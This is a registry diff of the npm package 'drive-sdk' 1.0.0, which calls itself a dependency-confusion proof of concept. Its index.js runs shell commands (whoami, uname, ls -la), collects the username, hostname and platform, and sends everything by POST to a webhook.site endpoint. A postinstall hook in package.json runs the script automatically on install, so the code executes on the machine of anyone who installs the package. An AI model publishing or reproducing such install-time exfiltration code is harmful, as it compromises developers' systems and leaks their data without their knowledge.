drive-sdk 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+
5
+ // Run a few harmless commands to prove code execution
6
+ let output = {};
7
+
8
+ try {
9
+ output.whoami = execSync('whoami').toString().trim();
10
+ output.uname = execSync('uname -a').toString().trim();
11
+ output.uptime = execSync('uptime').toString().trim();
12
+ output.cwd = process.cwd();
13
+ output.ls = execSync('ls -la').toString().trim();
14
+ } catch (err) {
15
+ output.error = err.toString();
16
+ }
17
+
18
+ const data = JSON.stringify({
19
+ metadata: {
20
+ user: os.userInfo().username,
21
+ hostname: os.hostname(),
22
+ platform: os.platform(),
23
+ arch: os.arch(),
24
+ timestamp: new Date().toISOString()
25
+ },
26
+ shell_output: output
27
+ });
28
+
29
+ const options = {
30
+ hostname: 'webhook.site',
31
+ path: '/95230d1c-a690-4d8e-a646-efcdcf6da99a', // Replace with your webhook
32
+ method: 'POST',
33
+ headers: {
34
+ 'Content-Type': 'application/json',
35
+ 'Content-Length': data.length
36
+ }
37
+ };
38
+
39
+ const req = https.request(options, res => {
40
+ console.log(`[+] PoC data sent. Status: ${res.statusCode}`);
41
+ });
42
+
43
+ req.on('error', error => {
44
+ console.error('[-] Failed to send webhook:', error);
45
+ });
46
+
47
+ req.write(data);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "drive-sdk",
3
+ "version": "1.0.0",
4
+ "description": "PoC for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"PoC - No tests\" && exit 0",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "h4cker nafeed",
11
+ "license": "ISC"
12
+ }